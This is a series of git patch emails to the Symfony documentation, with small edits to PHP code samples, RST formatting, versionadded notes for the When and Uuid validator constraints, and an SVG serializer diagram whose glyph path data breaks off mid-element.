From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Jun 2023 12:05:20 +0200
Subject: [PATCH 4772/7107] Fix code sample by reordering some import
 statements

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 9f6882a8450..956e731c5ab 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -393,8 +393,8 @@ the `PSR-15`_ interfaces for HTTP request handling.
 However, a ReactPHP application will need some special logic to *run*. That logic
 is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
-    use Psr\Http\Message\ServerRequestInterface;
     use Psr\Http\Message\ResponseInterface;
+    use Psr\Http\Message\ServerRequestInterface;
     use Psr\Http\Server\RequestHandlerInterface;
     use React\EventLoop\Factory as ReactFactory;
     use React\Http\Server as ReactHttpServer;

From 988645f0e48ad0a312df463a6623fbb2bce351de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Jun 2023 12:39:21 +0200
Subject: [PATCH 4773/7107] Minor tweak

---
 components/console/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 8cbfe258521..66e3cad013c 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -250,10 +250,10 @@ handle all signals e.g. to do some tasks before terminating the command.
     :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
     method.
 
-.. versionadded:: 6.4
+    .. versionadded:: 6.4
 
-    The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
-    introduced in Symfony 6.4.
+        The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
+        introduced in Symfony 6.4.
 
 .. deprecated:: 6.3
 

From 05a70aeaf2ef11a95eb9107a41243aca9115d75b Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 21 Jun 2023 11:30:12 -0600
Subject: [PATCH 4774/7107] Update cache.rst

add 'private' for php 8 constructor
---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index b8cb19935d8..e739d27f4d4 100644
--- a/cache.rst
+++ b/cache.rst
@@ -315,7 +315,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
     }
 
     // in a service
-    public function __construct(CacheInterface $customThingCache)
+    public function __construct(private CacheInterface $customThingCache)
     {
         // ...
     }

From 92642cad44dea5afc49e3a266cb6d55a177e3f4b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 11:26:50 +0200
Subject: [PATCH 4775/7107] [Validator] Allow single constraint to be passed to
 the constraints option of the `When` constraint

---
 reference/constraints/When.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ed855857b1d..8e2ec97c4f2 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -271,9 +271,13 @@ You can also pass custom variables using the `values`_ option.
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array``
+**type**: ``array|Constraint``
 
-The constraints that are applied if the expression returns true.
+One or multiple constraints that are applied if the expression returns true.
+
+.. versionadded:: 6.4
+
+    Passing a single ``Constraint`` instead of an array was introduced in Symfony 6.4.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From af6a70076268f4a6ce1e7137ffc8523739dadc3a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 11:29:36 +0200
Subject: [PATCH 4776/7107] [Validator] Allow single integer for the `versions`
 option of the `Uuid` constraint

---
 reference/constraints/Uuid.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index c93a4800713..d8ff5fadb8b 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -114,7 +114,7 @@ will allow alternate input formats like:
 ``versions``
 ~~~~~~~~~~~~
 
-**type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
+**type**: ``int[]|int`` **default**: ``[1,2,3,4,5,6,7,8]``
 
 This option can be used to only allow specific `UUID versions`_ (by default, all
 of them are allowed). Valid versions are 1 - 8. Instead of using numeric values,
@@ -133,6 +133,11 @@ you can also use the following PHP constants to refer to each UUID version:
 
     UUID versions 7 and 8 were introduced in Symfony 6.2.
 
+.. versionadded:: 6.4
+
+    Using a single integer instead of an integer array for this option
+    was introduced in Symfony 6.4.
+
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions

From a0ecf1810c7d8aa566ade48f5b341499d219e38d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Wed, 4 Jan 2023 10:23:30 +0100
Subject: [PATCH 4777/7107] Add YAML encoder to serializer diagram

---
 .../serializer/serializer_workflow.svg        | 284 +++++++++++++++++-
 .../serializer/serializer_workflow.dia        | Bin 1770 -> 1957 bytes
 2 files changed, 283 insertions(+), 1 deletion(-)

diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/components/serializer/serializer_workflow.svg
index f3906506878..b6e9c254778 100644
--- a/_images/components/serializer/serializer_workflow.svg
+++ b/_images/components/serializer/serializer_workflow.svg
@@ -1 +1,283 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" viewBox="0 0 482 402"><defs><symbol overflow="visible" id="a"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M3.656-3.547l.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="G"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="H"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="I"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="J"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="K"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="L"><path d="M.64-1.297l3.72-6.547.702-.86H.641V-10h5.843v1.297l-3.75 6.61-.671.796h4.421V0H.641zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M1.734-18.906h8.391v1.875H3.75v6.656h5.938V-8.5H3.75V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1-6.75c0-2.426.414-4.21 1.25-5.36.844-1.144 2.035-1.718 3.578-1.718 1.656 0 2.875.59 3.656 1.765.79 1.168 1.188 2.938 1.188 5.313 0 2.45-.43 4.242-1.281 5.375C8.547-.238 7.359.328 5.828.328c-1.656 0-2.875-.582-3.656-1.75C1.39-2.598 1-4.375 1-6.75zm2.031 0c0 .793.047 1.512.14 2.156a6.22 6.22 0 0 0 .485 1.672c.227.469.52.836.875 1.094.364.262.797.39 1.297.39.938 0 1.64-.414 2.11-1.25.468-.832.703-2.187.703-4.062 0-.77-.055-1.484-.157-2.14-.093-.657-.257-1.22-.484-1.688-.219-.469-.512-.832-.875-1.094-.355-.258-.79-.39-1.297-.39-.918 0-1.617.421-2.094 1.265-.468.844-.703 2.195-.703 4.047zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M1.594-13.5h1.375l.36 1.438h.077c.25-.532.578-.942.985-1.235.406-.3.894-.453 1.468-.453.414 0 .883.086 1.407.25l-.375 1.969c-.47-.156-.887-.235-1.25-.235-.575 0-1.043.168-1.407.5-.355.336-.59.778-.703 1.329V0H1.594zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M7.906 0v-8.016c0-.718-.023-1.332-.062-1.843-.043-.52-.137-.942-.282-1.266-.148-.32-.343-.555-.593-.703-.25-.156-.586-.235-1-.235-.617 0-1.137.243-1.563.72a3.942 3.942 0 0 0-.875 1.624V0H1.594v-13.5h1.375l.36 1.438h.077c.375-.532.82-.958 1.344-1.282.52-.32 1.188-.484 2-.484.688 0 1.25.152 1.688.453.437.293.785.82 1.046 1.578a3.58 3.58 0 0 1 1.375-1.484 3.8 3.8 0 0 1 2-.547c.594 0 1.098.078 1.516.234.426.156.77.43 1.031.813.258.386.453.902.578 1.547.125.636.188 1.437.188 2.406V0h-1.938v-8.594c0-1.164-.117-2.035-.343-2.61-.23-.57-.746-.858-1.547-.858-.688 0-1.235.214-1.64.64-.407.418-.688.985-.845 1.703V0zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.453-12.688c.52-.32 1.156-.57 1.906-.75a9.687 9.687 0 0 1 2.36-.28c.758 0 1.367.116 1.828.343.457.219.816.527 1.078.922.258.387.43.828.516 1.328.082.492.125 1.008.125 1.547 0 1.074-.028 2.125-.079 3.156a69.316 69.316 0 0 0-.062 2.906c0 .688.02 1.325.063 1.907.05.586.14 1.136.265 1.656H7.97L7.5-1.531h-.11c-.261.46-.656.86-1.187 1.203C5.68.016 4.984.188 4.11.188c-.98 0-1.78-.336-2.406-1.016-.617-.676-.922-1.61-.922-2.797 0-.77.13-1.414.39-1.938.259-.519.63-.94 1.11-1.265.477-.32 1.047-.55 1.703-.688.657-.132 1.391-.203 2.204-.203h.53c.188 0 .38.012.579.032.05-.563.078-1.063.078-1.5 0-1.02-.156-1.739-.469-2.157-.304-.414-.86-.625-1.672-.625-.5 0-1.046.078-1.64.235-.594.156-1.09.351-1.485.578zm5.86 6.532c-.18-.02-.36-.032-.547-.032-.18-.007-.356-.015-.532-.015-.43 0-.851.039-1.265.11-.418.062-.79.187-1.11.374-.324.18-.578.422-.765.735-.188.304-.281.687-.281 1.156 0 .719.171 1.277.515 1.672.352.398.813.594 1.375.594.75 0 1.332-.176 1.75-.532.414-.363.703-.765.86-1.203zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M.25-13.5h1.64v-2.672l1.938-.625v3.297H6.75v1.75H3.828v8.047c0 .793.094 1.367.281 1.719.196.355.508.53.938.53.363 0 .676-.038.937-.124.258-.082.54-.188.844-.313l.375 1.547a6.27 6.27 0 0 1-1.312.469 6.308 6.308 0 0 1-1.485.172C3.5.297 2.852.004 2.47-.578 2.082-1.16 1.89-2.11 1.89-3.422v-8.328H.25zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M4.938 5.938c-.68-.868-1.25-1.82-1.72-2.86A21.13 21.13 0 0 1 2.095-.094a24.082 24.082 0 0 1-.61-3.297 28.174 28.174 0 0 1-.187-3.171c0-.989.062-2.032.187-3.125.125-1.102.329-2.208.61-3.313.289-1.102.676-2.188 1.156-3.25A15.565 15.565 0 0 1 5-19.219l1.203.719a15.878 15.878 0 0 0-1.422 2.89 22.89 22.89 0 0 0-.906 3.079 25.88 25.88 0 0 0-.5 3.078 31.401 31.401 0 0 0-.14 2.89c0 .868.05 1.82.156 2.86.113 1.031.289 2.07.53 3.11.25 1.038.563 2.054.938 3.046.375.988.82 1.879 1.344 2.672zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M2.516-18.906H4.53v14.672c0 1.468-.242 2.59-.718 3.359-.47.762-1.297 1.14-2.485 1.14C1.035.266.688.228.281.157-.125.082-.453-.02-.703-.156l.437-1.766c.18.117.375.2.594.25.227.055.461.078.703.078.32 0 .582-.07.782-.218.195-.145.347-.348.453-.61.113-.258.18-.57.203-.937.031-.375.047-.79.047-1.25zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M1.594-2.516c.343.243.82.465 1.437.672.625.211 1.332.313 2.125.313 1.008 0 1.828-.25 2.453-.75.633-.5.954-1.274.954-2.328 0-.707-.184-1.32-.547-1.844a6.82 6.82 0 0 0-1.344-1.438 22.34 22.34 0 0 0-1.75-1.296 14.354 14.354 0 0 1-1.734-1.407 6.939 6.939 0 0 1-1.36-1.765c-.355-.664-.531-1.47-.531-2.407 0-1.507.453-2.629 1.36-3.359.905-.727 2.085-1.094 3.546-1.094.906 0 1.707.086 2.406.25.707.157 1.274.36 1.704.61l-.641 1.78c-.324-.194-.79-.374-1.39-.53-.606-.164-1.305-.25-2.095-.25-.98 0-1.703.242-2.171.718-.461.47-.688 1.07-.688 1.797 0 .625.176 1.184.531 1.672.364.48.813.938 1.344 1.375.54.43 1.125.867 1.75 1.313.625.437 1.203.93 1.734 1.468.54.543.989 1.157 1.344 1.844.364.68.547 1.484.547 2.422 0 1.586-.469 2.828-1.406 3.734C8.242-.117 6.926.328 5.219.328 4.133.328 3.242.227 2.547.031 1.859-.164 1.305-.39.89-.64zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M1.156-9.453c0-3.195.508-5.625 1.532-7.281 1.03-1.657 2.597-2.485 4.703-2.485 1.132 0 2.097.23 2.89.688.79.46 1.43 1.11 1.922 1.953.5.844.863 1.871 1.094 3.078.238 1.21.36 2.559.36 4.047 0 3.21-.516 5.64-1.548 7.297C11.08-.5 9.504.328 7.391.328c-1.118 0-2.07-.23-2.86-.687-.793-.457-1.437-1.11-1.937-1.954-.5-.851-.867-1.878-1.094-3.078-.23-1.207-.344-2.562-.344-4.062zm2.14 0c0 1.062.071 2.074.22 3.031.156.95.394 1.79.718 2.516.32.719.743 1.297 1.266 1.734.531.43 1.16.64 1.89.64 1.352 0 2.38-.644 3.079-1.937.707-1.3 1.062-3.297 1.062-5.984 0-1.04-.078-2.035-.234-2.985-.156-.957-.399-1.8-.719-2.53-.324-.727-.746-1.305-1.265-1.735-.524-.438-1.165-.656-1.922-.656-1.325 0-2.34.652-3.047 1.953-.7 1.293-1.047 3.277-1.047 5.953zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M4.61-11.984l-1.157-2.97h-.078l.297 2.97V0H1.734v-19.203h1.204l7 12.265 1.109 2.829h.11l-.298-2.829v-11.968h1.938V.297h-1.235zm0 0"/></symbol><symbol overflow="visible" id="q"><path d="M.969-1.156c0-.457.129-.817.39-1.078.258-.27.598-.407 1.016-.407.469 0 .848.188 1.14.563.301.375.454.969.454 1.781 0 .594-.078 1.129-.235 1.61a4.464 4.464 0 0 1-.593 1.25c-.243.363-.508.66-.797.89-.281.238-.559.41-.828.516l-.672-.922a3.047 3.047 0 0 0 1.172-1.188c.132-.25.238-.515.312-.796.07-.282.11-.555.11-.813-.368.102-.704.031-1.016-.219-.305-.25-.453-.644-.453-1.187zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M5.484-9.61L.938-18.905h2.437L6.313-12.5l.546 1.594.532-1.594 3.109-6.406h2.25l-4.703 9.11L12.953 0h-2.375L7.313-6.781l-.61-1.672-.578 1.672L2.781 0H.516zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M13.453-12.422l.235-2.86h-.11l-.86 2.673-3.812 8.203h-.672l-4-8.203-.828-2.672h-.11l.376 2.86V0H1.734v-18.906h1.688L7.984-9.61l.688 2.218h.047l.656-2.25 4.313-9.265h1.78V0h-2.015zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M10.828 0H1.734v-18.906H3.75V-1.86h7.078zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M11.61-.734c-.45.386-1.016.656-1.704.812-.68.164-1.398.25-2.156.25a6.61 6.61 0 0 1-2.656-.531c-.805-.363-1.496-.938-2.078-1.719C2.43-2.71 1.973-3.727 1.64-4.969c-.325-1.238-.485-2.734-.485-4.484 0-1.8.18-3.32.547-4.563.375-1.238.867-2.242 1.484-3.015.614-.782 1.317-1.336 2.11-1.672a6.237 6.237 0 0 1 2.484-.516c.864 0 1.578.063 2.14.188.563.125 1.052.277 1.47.453l-.485 1.844a4.668 4.668 0 0 0-1.265-.453 7.46 7.46 0 0 0-1.672-.172 3.96 3.96 0 0 0-1.797.422c-.555.273-1.047.718-1.484 1.343-.43.625-.766 1.446-1.016 2.453-.25 1-.375 2.23-.375 3.688 0 2.625.445 4.605 1.344 5.937C5.547-2.19 6.742-1.53 8.234-1.53c.614 0 1.16-.082 1.641-.25a5.257 5.257 0 0 0 1.25-.625zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M5.89-5.969l.485 2.89h.047l.547-2.937 3.5-12.89h2.094L6.827.297H5.75L-.047-18.906h2.235zm0 0"/></symbol><symbol overflow="visible" id="w"><path d="M1.297 5.125c.52-.793.969-1.684 1.344-2.672.382-.992.695-2.008.937-3.047.238-1.039.41-2.078.516-3.11.113-1.038.172-1.991.172-2.858 0-.915-.055-1.88-.157-2.891a25.039 25.039 0 0 0-.484-3.078 20.818 20.818 0 0 0-.906-3.078A17.562 17.562 0 0 0 1.297-18.5l1.219-.719A16.358 16.358 0 0 1 4.25-16.25c.477 1.063.86 2.148 1.14 3.25.29 1.105.5 2.21.626 3.313a27.58 27.58 0 0 1 .187 3.124c0 1.012-.062 2.07-.187 3.172A23.004 23.004 0 0 1 5.39-.094a19.529 19.529 0 0 1-1.125 3.172 14.483 14.483 0 0 1-1.704 2.86zm0 0"/></symbol><symbol overflow="visible" id="C"><path d="M1.594-18.906H3.53v6.437h.094c.727-.906 1.707-1.36 2.938-1.36 1.382 0 2.421.556 3.109 1.657.695 1.094 1.047 2.828 1.047 5.203 0 2.43-.465 4.242-1.39 5.438C8.398-.344 7.093.25 5.405.25a8.646 8.646 0 0 1-2.281-.281c-.68-.196-1.188-.422-1.531-.672zM3.53-1.97c.258.149.57.262.938.344.363.074.754.11 1.172.11.937 0 1.675-.442 2.218-1.329.551-.894.829-2.27.829-4.125 0-.77-.055-1.46-.157-2.078-.094-.625-.246-1.16-.453-1.61-.2-.456-.465-.804-.797-1.046-.336-.238-.734-.36-1.203-.36-.648 0-1.183.196-1.61.579-.429.386-.741.914-.937 1.578zm0 0"/></symbol><symbol overflow="visible" id="D"><path d="M1.938-13.5H3.89V.734c0 1.852-.297 3.188-.891 4-.594.82-1.559 1.133-2.89.938v-1.75c.394 0 .71-.086.953-.25.25-.168.44-.418.578-.75.132-.324.218-.735.25-1.235.03-.5.046-1.078.046-1.734zm-.375-4.11c0-.425.117-.773.359-1.046.25-.27.57-.407.969-.407.394 0 .722.133.984.391.258.262.39.617.39 1.063 0 .437-.132.777-.39 1.015-.262.242-.59.36-.984.36-.399 0-.72-.125-.97-.375-.241-.25-.359-.582-.359-1zm0 0"/></symbol><symbol overflow="visible" id="E"><path d="M9.672-.922c-.438.399-.992.703-1.656.922a6.735 6.735 0 0 1-2.11.328c-.843 0-1.578-.168-2.203-.5a4.194 4.194 0 0 1-1.531-1.422c-.406-.625-.703-1.367-.89-2.234C1.093-4.691 1-5.664 1-6.75c0-2.3.422-4.055 1.266-5.266.843-1.207 2.039-1.812 3.593-1.812.5 0 .993.062 1.485.187.5.125.945.383 1.343.766.395.375.711.906.954 1.594.25.68.375 1.57.375 2.672 0 .304-.016.632-.047.984-.024.355-.055.719-.094 1.094H3.031c0 .773.063 1.476.188 2.11.125.624.32 1.163.594 1.609.269.437.613.777 1.03 1.015.427.242.954.36 1.579.36.488 0 .973-.086 1.453-.266.477-.176.844-.39 1.094-.64zM8.156-8.156c.031-1.344-.164-2.328-.578-2.953-.406-.633-.969-.954-1.687-.954-.836 0-1.496.32-1.985.954-.48.625-.765 1.609-.86 2.953zm0 0"/></symbol><symbol overflow="visible" id="F"><path d="M9.047-.672c-.45.344-.965.594-1.547.75a6.504 6.504 0 0 1-1.797.25c-.867 0-1.594-.168-2.187-.5a3.927 3.927 0 0 1-1.454-1.422c-.367-.625-.636-1.375-.812-2.25C1.082-4.719 1-5.688 1-6.75c0-2.3.406-4.055 1.219-5.266.82-1.207 2-1.812 3.531-1.812.695 0 1.297.062 1.797.187.508.125.945.29 1.312.485l-.546 1.703a4.683 4.683 0 0 0-2.344-.61c-.969 0-1.703.43-2.203 1.282-.493.855-.735 2.199-.735 4.031 0 .742.051 1.434.156 2.078.102.649.282 1.211.532 1.688.258.48.586.859.984 1.14.395.274.89.407 1.484.407.47 0 .899-.079 1.297-.235a3.931 3.931 0 0 0 1-.562zm0 0"/></symbol><symbol overflow="visible" id="x"><path d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="y"><path d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="z"><path d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="B"><path d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="M"><path d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="N"><path d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 